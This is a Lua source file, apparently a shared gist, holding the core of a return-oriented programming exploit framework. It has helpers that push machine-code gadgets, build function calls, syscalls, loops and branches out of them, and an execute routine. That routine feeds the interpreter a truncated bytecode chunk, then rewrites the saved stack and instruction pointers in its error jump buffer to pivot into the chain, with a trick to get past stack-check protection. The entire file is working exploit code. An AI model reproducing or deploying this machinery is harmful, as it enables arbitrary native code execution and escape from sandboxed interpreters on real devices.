end
function ropchain:push_store_zero_32(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
self:push_set_rax(addr)
self:push_store_zero_to_rax_32()
end
function ropchain:push_store_zero_to_rax_32(addr)
self:push(gadgets["mov dword ptr [rax], 0; ret"])
end
function ropchain:push_store_one_32(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
self:push_set_rax(addr)
self:push_store_one_to_rax_32()
end
function ropchain:push_store_one_to_rax_32(addr)
self:push(gadgets["mov dword ptr [rax], 1; ret"])
end
function ropchain:push_store_rdi(addr) -- Changes |rax|, |rdi|.
assert(is_valid_addr(addr))
self:push(gadgets["mov rax, rdi; ret"])
self:push_store_rax(addr)
end
function ropchain:push_store_rsi(addr) -- Changes |rax|, |rdi|.
assert(is_valid_addr(addr))
self:push(gadgets["mov rax, rsi; ret"])
self:push_store_rax(addr)
end
function ropchain:push_store_rdx(addr) -- Changes |rax|, |rdi|.
assert(is_valid_addr(addr))
self:push(gadgets["mov rax, rdx; ret"])
self:push_store_rax(addr)
end
function ropchain:push_store_rcx(addr) -- Changes |rax|, |rdi|.
assert(is_valid_addr(addr))
self:push(gadgets["mov rax, rcx; ret"])
self:push_store_rax(addr)
end
function ropchain:push_store_r8(addr) -- Sets |ZF|, changes |rax|, |rdi|.
assert(is_valid_addr(addr))
self:push_clear_eax()
self:push(gadgets["add rax, r8; ret"])
self:push_store_rax(addr)
end
function ropchain:push_store_r9(addr) -- Changes |rax|, |rbx|, |rdi|.
assert(is_valid_addr(addr))
self:push(gadgets["mov rax, r9; pop rbx; ret"])
self:push(0) -- Dummy.
self:push_store_rax(addr)
end
function ropchain:push_store_eax(addr) -- Changes |rdi|.
assert(is_valid_addr(addr))
self:push_set_rdi(addr)
self:push_store_eax_at_rdi()
end
function ropchain:push_store_rax(addr) -- Changes |rdi|.
assert(is_valid_addr(addr))
self:push_set_rdi(addr)
self:push_store_rax_at_rdi()
end
function ropchain:push_store_eax_at_rdi()
self:push(gadgets["mov dword ptr [rdi], eax; ret"])
end
function ropchain:push_store_rax_at_rdi()
self:push(gadgets["mov qword ptr [rdi], rax; ret"])
end
function ropchain:push_clear_eax() -- Sets |ZF|.
self:push(gadgets["xor eax, eax; ret"])
end
function ropchain:push_clear_eax_quiet() -- |ZF| remains intact.
self:push(gadgets["mov eax, 0; ret"])
end
function ropchain:push_clear_edx() -- Sets |ZF|.
self:push(gadgets["xor edx, edx; ret"])
end
function ropchain:push_clear_esi() -- Changes |rax|, |rdx|, sets |ZF|.
self:push(gadgets["xor esi, esi; mov rax, rdi; mov rdx, rsi; ret"])
end
function ropchain:push_exchange_eax_with_esi()
self:push(gadgets["xchg eax, esi; ret"])
end
function ropchain:push_add_ecx_to_eax()
self:push(gadgets["add eax, ecx; ret"])
end
function ropchain:push_add_rcx_to_rax()
self:push(gadgets["add rax, rcx; ret"])
end
function ropchain:push_add_eax_to_esi() -- Changes |rax|.
self:push(gadgets["add esi, eax; mov rax, rsi; ret"])
end
function ropchain:push_subtract_esi_from_eax() -- Changes |rax|.
self:push(gadgets["sub eax, esi; ret"])
end
function ropchain:push_subtract_rdi_from_rax() -- Changes |rax|.
self:push(gadgets["sub rax, rdi; ret"])
end
function ropchain:push_compare_eax_and_esi() -- Changes |al|.
self:push(gadgets["cmp eax, esi; seta al; ret"])
end
function ropchain:push_compare_rax_and_rsi() -- Changes |al|.
self:push(gadgets["cmp rax, rsi; seta al; ret"])
end
function ropchain:push_inc_eax()
self:push(gadgets["inc eax; ret"])
end
function ropchain:push_inc_rax()
self:push(gadgets["inc rax; ret"])
end
function ropchain:push_inc_esi()
self:push(gadgets["inc esi; ret"])
end
function ropchain:push_add_atomic_32(addr, value) -- Changes |rdi|, |rsi|.
assert(is_valid_addr(addr))
if is_uint64(value) or type(value) == "number" then
self:push_set_rsi(value)
else
-- Indirect value.
assert(type(value) == "table")
assert(table.len(value) == 1 and value[1] ~= nil)
self:push_load_rsi(value[1])
end
self:push_set_rdi(addr)
self:push(gadgets["lock xadd dword ptr [rdi], esi; mov eax, esi; ret"])
end
function ropchain:push_add_atomic_64(addr, value) -- Changes |rdi|, |rax|.
assert(is_valid_addr(addr))
if is_uint64(value) or type(value) == "number" then
self:push_set_rax(value)
else
-- Indirect value.
assert(type(value) == "table")
assert(table.len(value) == 1 and value[1] ~= nil)
self:push_load_rax(value[1])
end
self:push_set_rdi(addr)
self:push(gadgets["lock xadd qword ptr [rdi], rax; ret"])
end
function ropchain:push_add_atomic_rax(addr) -- Changes |rdi|.
assert(is_valid_addr(addr))
self:push_set_rdi(addr)
self:push(gadgets["lock xadd qword ptr [rdi], rax; ret"])
end
function ropchain:push_not_eax()
self:push(gadgets["not eax; ret"])
end
function ropchain:push_neg_eax()
self:push_exchange_eax_with_esi()
self:push_clear_eax()
self:push_subtract_esi_from_eax()
end
function ropchain:push_set_eax_if_e_z() -- Equal / zero.
self:push_clear_eax_quiet()
self:push(gadgets["sete al; ret"])
end
function ropchain:push_set_eax_if_ne_nz() -- Not equal / non zero.
self:push_clear_eax_quiet()
self:push(gadgets["setne al; ret"])
end
function ropchain:push_set_eax_if_g() -- Greater (signed).
self:push_clear_eax_quiet()
self:push(gadgets["setg al; ret"])
end
function ropchain:push_set_eax_if_ge() -- Greater or equal (signed).
self:push_clear_eax_quiet()
self:push(gadgets["setge al; ret"])
end
function ropchain:push_set_eax_if_l() -- Less (signed).
self:push_clear_eax_quiet()
self:push(gadgets["setl al; ret"])
end
function ropchain:push_set_eax_if_le() -- Less or equal (signed).
self:push_clear_eax_quiet()
self:push(gadgets["setle al; ret"])
end
function ropchain:push_set_eax_if_a() -- Above (unsigned).
self:push_clear_eax_quiet()
self:push(gadgets["seta al; ret"])
end
function ropchain:push_set_eax_if_ae() -- Above or equal (unsigned).
self:push_clear_eax_quiet()
self:push(gadgets["setae al; ret"])
end
function ropchain:push_set_eax_if_b() -- Below (unsigned).
self:push_clear_eax_quiet()
self:push(gadgets["setb al; ret"])
end
function ropchain:push_set_eax_if_be() -- Below or equal (unsigned).
self:push_clear_eax_quiet()
self:push(gadgets["setbe al; ret"])
end
function ropchain:push_move_cf_to_eax() -- Transfer |CF| to |eax|.
self:push_clear_eax()
self:push(gadgets["adc eax, eax; ret"])
end
function ropchain:push_clear_results(need_errno)
if need_errno == nil then
need_errno = false
end
local scratch_rax_addr = self:scratch_rax_addr()
self:push_clear_eax()
self:push_store_rax(scratch_rax_addr)
if need_errno then
local scratch_errno_addr = self:scratch_errno_addr()
self:push_store_rax(scratch_errno_addr)
end
end
function ropchain:push_clear_errno()
-- Make |rsp| aligned to 16 bytes (needed for SSE, etc), otherwise it may crash.
self:ensure_align()
-- Clear errno.
self:push(addrofs.error)
self:push_store_zero_to_rax_32()
end
function ropchain:push_store_results(need_errno)
if need_errno == nil then
need_errno = false
end
local scratch_rax_addr = self:scratch_rax_addr()
self:push_store_rax(scratch_rax_addr)
if need_errno then
local scratch_errno_addr = self:scratch_errno_addr()
-- Make |rsp| aligned to 16 bytes (needed for SSE, etc), otherwise it may crash.
self:ensure_align()
-- Get errno address and store errno in scratch area.
self:push(addrofs.error)
self:push_load_eax_from_rax()
self:push_store_rax(scratch_errno_addr)
self:push_clear_errno()
end
end
function ropchain:push_fcall(addr, rdi, rsi, rdx, rcx, r8, r9, rax)
-- Clear scratch area that holds result.
self:push_clear_results()
-- Push arguments into registers.
push_regs(self, rdi, rsi, rdx, rcx, r8, r9, rax)
-- Make |rsp| aligned to 16 bytes (needed for SSE, etc), otherwise it may crash.
self:ensure_align()
local call_addr = self:push(addr)
-- Store result in scratch area.
self:push_store_results()
return call_addr
end
-- Saves |errno| after call.
function ropchain:push_fcall_safe(addr, rdi, rsi, rdx, rcx, r8, r9, rax)
-- Clear scratch area that holds result and errno.
self:push_clear_results(true)
-- Push arguments into registers.
push_regs(self, rdi, rsi, rdx, rcx, r8, r9, rax)
-- Make |rsp| aligned to 16 bytes (needed for SSE, etc), otherwise it may crash.
self:ensure_align()
local call_addr = self:push(addr)
-- Store result and errno in scratch area.
self:push_store_results(true)
return call_addr
end
function ropchain:push_fcall_noret(addr, rdi, rsi, rdx, rcx, r8, r9, rax)
-- Push arguments into registers.
push_regs(self, rdi, rsi, rdx, rcx, r8, r9, rax)
-- Make |rsp| aligned to 16 bytes (needed for SSE, etc), otherwise it may crash.
self:ensure_align()
local call_addr = self:push(addr)
return call_addr
end
function ropchain:push_syscall(name, rdi, rsi, rdx, rcx, r8, r9)
local addr, rax = get_syscall_params(name)
self:push_fcall(addr, rdi, rsi, rdx, rcx, r8, r9, rax)
end
-- Saves |errno| after call.
function ropchain:push_syscall_safe(name, rdi, rsi, rdx, rcx, r8, r9)
local addr, rax = get_syscall_params(name)
self:push_fcall_safe(addr, rdi, rsi, rdx, rcx, r8, r9, rax)
end
function ropchain:push_syscall_noret(name, rdi, rsi, rdx, rcx, r8, r9)
local addr, rax = get_syscall_params(name)
self:push_fcall_noret(addr, rdi, rsi, rdx, rcx, r8, r9, rax)
end
function ropchain:push_fcall_via_call(addr, rdi, rsi, rdx, rcx, r8, r9)
local scratch_rax_addr = self:scratch_rax_addr()
-- Clear scratch area that holds result.
self:push_clear_results()
-- Push arguments into registers.
push_regs(self, rdi, rsi, rdx, rcx, r8, r9, addr + 0x1) -- Skip |push rbp| instruction.
-- Make |rsp| aligned to 16 bytes (needed for SSE, etc), otherwise it may crash.
self:ensure_align()
local call_addr = self:push(gadgets["call rax"])
-- Store result in scratch area.
self:push_store_results()
return call_addr
end
function ropchain:push_kdbg_break(arg1, arg2)
errorf("kdbg break not supported")
end
function ropchain:push_ret()
self:push(gadgets["ret"])
end
function ropchain:push_repeated(value, count)
assert(is_uint64(value) or type(value) == "number")
assert(type(count) == "number")
assert(count > 0)
local index = self:index()
if not self:has_space(count) then
errorf("no free space in ropchain (capacity:%d, count:%d, need:%d)", self:capacity(), index, count)
end
local w_addr = self:current_w_addr()
local addr = self:current_addr()
memory.fill64(w_addr, gadgets["ret"], count * 0x8)
self:set_index(index + count)
return addr
end
function ropchain:push_nop_sled(count)
return self:push_repeated(gadgets["ret"], count)
end
function ropchain:push_endless_loop()
self:push(gadgets["jmp .+0"])
end
function ropchain:push_yield_loop()
local marker_for_loop_start = self:generate_marker("loop_start")
self:set_marker(marker_for_loop_start)
self:push_syscall_noret("sched_yield")
self:push_set_rsp(self:use_marker(marker_for_loop_start))
self:fixup_temp_marker(marker_for_loop_start)
end
function ropchain:gen_loop(start, stop, body_cb_or_marker, is_64, is_signed, step)
if is_64 == nil then
is_64 = false
end
if is_signed == nil then
is_signed = false
end
if step == nil then
step = 1
else
assert(type(step) == "number")
end
local marker_for_stack_addrs = self:generate_marker("stack_addrs")
local marker_for_new_stack_addr = self:generate_marker("new_stack_addr")
local marker_for_start_code_path = self:generate_marker("start_code_path")
local marker_for_end_code_path = self:generate_marker("end_code_path")
local marker_for_counter = self:generate_marker("counter")
local marker_for_counter_copy = self:generate_marker("counter_copy")
local marker_for_body_code_path
if type(body_cb_or_marker) == "string" then
marker_for_body_code_path = body_cb_or_marker
else
marker_for_body_code_path = self:generate_marker("body_code_path")
end
if type(start) == "table" then
-- Indirect value.
assert(table.len(start) == 1 and start[1] ~= nil)
if is_64 then
start = memory.read64(start)
else
start = uint64:new(memory.read32(start)):sign_extend(32)
end
else
assert(type(start) == "number")
end
self:push_set_rax(start)
self:push_store_rax(self:use_marker(marker_for_counter))
self:set_marker(marker_for_start_code_path)
if type(stop) == "table" then
-- Indirect value.
assert(table.len(stop) == 1 and stop[1] ~= nil)
self:push_load_rsi(stop[1])
else
assert(type(stop) == "number")
self:push_set_rsi(stop)
end
self:push_load_rax(self:use_marker(marker_for_counter))
if is_64 then
self:push_compare_rax_and_rsi()
else
self:push_compare_eax_and_esi()
end
if step >= 0 then
if is_signed then
self:push_set_eax_if_ge()
else
self:push_set_eax_if_ae()
end
else
if is_signed then
self:push_set_eax_if_le()
else
self:push_set_eax_if_be()
end
end
self:push(gadgets["shl eax, 4; ret"])
self:push_set_rcx(self:use_marker(marker_for_stack_addrs))
self:push_add_rcx_to_rax()
self:push_load_rax_from_rax()
self:push_store_rax(self:use_marker(marker_for_new_stack_addr))
self:push_set_rsp(function() return self:set_marker(marker_for_new_stack_addr) end)
self:set_marker(marker_for_stack_addrs)
self:push(self:use_marker(marker_for_body_code_path))
self:push(self:set_marker(marker_for_counter)) -- dummy for counter
self:push(self:use_marker(marker_for_end_code_path))
-- This counter pointer can be used by user without affecting original counter pointer.
local counter_copy_addr = self:set_marker(marker_for_counter_copy)
self:push(0) -- Dummy for counter copy.
if type(body_cb_or_marker) ~= "string" then
self:set_marker(marker_for_body_code_path)
if type(body_cb_or_marker) == "function" then
self:push_load_rax(self:use_marker(marker_for_counter))
self:push_store_rax(counter_copy_addr)
body_cb_or_marker(self, counter_copy_addr)
end
end
if step >= 0 then
if is_64 then
self:push_add_atomic_64(self:use_marker(marker_for_counter), step)
else
self:push_add_atomic_32(self:use_marker(marker_for_counter), step)
end
else
if is_64 then
self:push_add_atomic_64(self:use_marker(marker_for_counter), step)
else
self:push_add_atomic_32(self:use_marker(marker_for_counter), step)
end
end
self:push_set_rsp(self:use_marker(marker_for_start_code_path))
self:set_marker(marker_for_end_code_path)
self:push_ret()
end
function ropchain:gen_conditional(lhs, op, rhs, true_cb_or_marker, false_cb_or_marker, is_64, is_signed)
assert(type(op) == "string")
if is_64 == nil then
is_64 = false
end
if is_signed == nil then
is_signed = false
end
local marker_for_stack_addrs = self:generate_marker("stack_addrs")
local marker_for_new_stack_addr = self:generate_marker("new_stack_addr")
local marker_for_end_code_path = self:generate_marker("end_code_path")
local marker_for_true_code_path
if type(true_cb_or_marker) == "string" then
marker_for_true_code_path = true_cb_or_marker
else
marker_for_true_code_path = self:generate_marker("true_code_path")
end
local marker_for_false_code_path
if type(false_cb_or_marker) == "string" then
marker_for_false_code_path = false_cb_or_marker
else
marker_for_false_code_path = self:generate_marker("false_code_path")
end
if is_uint64(rhs) or type(rhs) == "number" then
self:push_set_rsi(rhs)
else
-- Indirect value.
assert(type(rhs) == "table")
assert(table.len(rhs) == 1 and rhs[1] ~= nil)
self:push_load_rsi(rhs[1])
end
if is_uint64(lhs) or type(lhs) == "number" then
self:push_set_rax(lhs)
else
-- Indirect value.
assert(type(lhs) == "table")
assert(table.len(lhs) == 1 and lhs[1] ~= nil)
self:push_load_rax(lhs[1])
end
if is_64 then
self:push_compare_rax_and_rsi()
else
self:push_compare_eax_and_esi()
end
if is_signed then
if op == "==" then
self:push_set_eax_if_e_z()
elseif op == "!=" then
self:push_set_eax_if_ne_nz()
elseif op == ">" then
self:push_set_eax_if_g()
elseif op == ">=" then
self:push_set_eax_if_ge()
elseif op == "<" then
self:push_set_eax_if_l()
elseif op == "<=" then
self:push_set_eax_if_le()
end
else
if op == "==" then
self:push_set_eax_if_e_z()
elseif op == "!=" then
self:push_set_eax_if_ne_nz()
elseif op == ">" then
self:push_set_eax_if_a()
elseif op == ">=" then
self:push_set_eax_if_ae()
elseif op == "<" then
self:push_set_eax_if_b()
elseif op == "<=" then
self:push_set_eax_if_be()
end
end
self:push(gadgets["shl eax, 4; ret"])
self:push_set_rcx(self:use_marker(marker_for_stack_addrs))
self:push_add_rcx_to_rax()
self:push_load_rax_from_rax()
self:push_store_rax(self:use_marker(marker_for_new_stack_addr))
self:push_set_rsp(function() return self:set_marker(marker_for_new_stack_addr) end)
self:set_marker(marker_for_stack_addrs)
self:push(self:use_marker(marker_for_false_code_path))
self:push(0) -- dummy
self:push(self:use_marker(marker_for_true_code_path))
self:push(0) -- dummy
if type(true_cb_or_marker) ~= "string" then
self:set_marker(marker_for_true_code_path)
if type(true_cb_or_marker) == "function" then
true_cb_or_marker(self)
end
self:push_set_rsp(self:use_marker(marker_for_end_code_path))
end
if type(false_cb_or_marker) ~= "string" then
self:set_marker(marker_for_false_code_path)
if type(false_cb_or_marker) == "function" then
false_cb_or_marker(self)
end
self:push_set_rsp(self:use_marker(marker_for_end_code_path))
end
self:set_marker(marker_for_end_code_path)
self:push_ret()
end
function ropchain:execute()
local me = self
if not self:check_scoped_backups_consistency() then
errorf("scoped backups are not consistent")
end
local need_debug = self:need_debug()
local dbg_log
-- Trick to bypass stack checking based protection in some calls (for example, in |dlsym|).
local new_rbp = self:hole_addr() + math.floor(self:hole_size() / 2) + 8
-- |longjmp| reads new RSP, writes instruction pointer at the beginning of our stack and does |ret|, that's why this address need displacement.
local new_rsp = self:data_addr() - 0x8
local new_rip = gadgets["ret"]
if need_debug then
dbg_log = sprintf("\n" ..
"rop storage read addr @ %s\n" ..
"rop storage write addr @ %s\n" ..
"new rbp @ %s\n" ..
"new rsp @ %s\n" ..
"new rip @ %s\n",
self:storage_read_addr(), self:storage_write_addr(),
new_rbp, new_rsp, new_rip
)
end
local scratch_rax_addr = self:scratch_rax_addr()
local scratch_errno_addr = self:scratch_errno_addr()
local jmp_buf_addr = self:jmp_buf_addr()
if need_debug then
dbg_log = sprintf("%s" ..
"scratch rax @ %s\n" ..
"scratch errno @ %s\n" ..
"scratch jmp buf @ %s\n",
dbg_log,
scratch_rax_addr, scratch_errno_addr,
jmp_buf_addr
)
end
xpcall(function()
-- Trigger loading error thus we can hook code execution during recovering from it.
assert(load("\27"))
end, function(err)
err = tostring(err)
local error_jmp_addr = memory.read64(addrofs.state + lua_types.offsetof_lua_State_errorJmp)
local error_jmp_buf_data = memory.read_buffer(error_jmp_addr, lua_types.sizeof_lua_longjmp)
if err:find("truncated precompiled chunk", 1, true) == nil then
warnf(err)
hang()
end
if need_debug then
dbg_log = sprintf("%s" ..
"error jmp @ %s\n" ..
"\n%s\n\n",
dbg_log,
error_jmp_addr,
hexdump(error_jmp_buf_data)
)
end
-- Back up original stack and instruction pointers.
local old_rbp = uint64:new():unpack(error_jmp_buf_data
:sub(1 + lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rbp, lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rbp + 0x8)
)
local old_rsp = uint64:new():unpack(error_jmp_buf_data
:sub(1 + lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rsp, lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rsp + 0x8)
)
local old_rip = uint64:new():unpack(error_jmp_buf_data
:sub(1 + lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rip, lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rip + 0x8)
)
if need_debug then
dbg_log = sprintf("%s" ..
"old rbp @ %s\n" ..
"old rsp @ %s\n" ..
"old rip @ %s\n",
dbg_log,
old_rbp, old_rsp, old_rip
)
end
-- Back up original jmp buf.
memory.write_buffer(jmp_buf_addr, error_jmp_buf_data)
-- Restore arguments.
me:push_set_rdi(jmp_buf_addr + lua_types.offsetof_lua_longjmp_b)
me:push_set_rsi(0)
-- Make |rsp| aligned to 16 bytes (needed for SSE, etc), otherwise it may crash.
me:ensure_align()
-- Call longjmp to restore execution.
me:push(addrofs.longjmp)
-- Overwrite stack and instruction pointers.
memory.write64(error_jmp_addr + lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rbp, new_rbp)
memory.write64(error_jmp_addr + lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rsp, new_rsp)
memory.write64(error_jmp_addr + lua_types.offsetof_lua_longjmp_b + globals.offsetof_jmp_buf_rip, new_rip)
if need_debug then
dbg_log = sprintf("%s" ..
"executing rop chain\n\n%s\n",
dbg_log,
me:dump()
)
end
end)
if need_debug then
dbg_log = sprintf("%s" ..
"returned from rop chain\n" ..
"scratch_rax_addr = %s\n" ..
"scratch_errno_addr = %s\n",
dbg_log,
scratch_rax_addr, scratch_errno_addr
)
end
local result = memory.read64(scratch_rax_addr)
local errno = memory.read32(scratch_errno_addr)
self:set_last_errno(errno)
if need_debug then
dbg_log = sprintf("%s" ..
"result = %s, errno = %d\n",
dbg_log,
result, errno
)
end
if not self:check_integrity() then
errorf("rop chain integrity is broken")
end
return result, errno, dbg_log
end
end)
function do_call_internal(rop, flags, ...)
local args = { ... }
local clear_temp, clear_chain, disable_gc
local is_safe, is_syscall
if flags ~= nil then
assert(type(flags) == "number")
is_safe = bit32.band(flags, globals.CALL_FLAG_SAFE) == globals.CALL_FLAG_SAFE
is_syscall = bit32.band(flags, globals.CALL_FLAG_SYSCALL) == globals.CALL_FLAG_SYSCALL
clear_temp = bit32.band(flags, globals.CALL_FLAG_CLEAR_TEMP) == globals.CALL_FLAG_CLEAR_TEMP
clear_chain = bit32.band(flags, globals.CALL_FLAG_CLEAR_CHAIN) == globals.CALL_FLAG_CLEAR_CHAIN
disable_gc = bit32.band(flags, globals.CALL_FLAG_NO_GC) == globals.CALL_FLAG_NO_GC
else
is_safe = false
is_syscall = false
clear_temp = false
clear_chain = false
disable_gc = false
end
local result, errno, dbg_log
run_without_gc(function()
if rop == nil then
if not toggle_temporary_ropchains_warnings then
errorf("rop chain is not set")
end
warnf("rop chain is not set, creating temporary one")
rop = ropchain:new(make_ropchain_storage_gc_default("call"))
else
assert(type(rop) == "table" and type(rop.push) == "function")
end
rop:reset(clear_temp, clear_chain)
if is_syscall then
if is_safe then
rop:push_syscall_safe(table.unpack(args))
else
rop:push_syscall(table.unpack(args))
end
else
if is_safe then
rop:push_fcall_safe(table.unpack(args))
else
rop:push_fcall(table.unpack(args))
end
end
result, errno, dbg_log = rop:execute()
end)
if dbg_log ~= nil then
printf("\n---------------------------------------\n%s\n---------------------------------------\n", dbg_log)
end
if not disable_gc then
gc_collect()
end
if is_safe then
return result, errno
else
return result
end
end
function do_native_call_safe(rop, ...)
return do_call_internal(rop, globals.CALL_FLAG_SAFE, ...)
end
function do_native_call(rop, ...)
return do_call_internal(rop, 0, ...)
end
function do_syscall_safe(rop, ...)
return do_call_internal(rop, bit32.bor(globals.CALL_FLAG_SYSCALL, globals.CALL_FLAG_SAFE), ...)
end
function do_syscall(rop, ...)
return do_call_internal(rop, globals.CALL_FLAG_SYSCALL, ...)
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment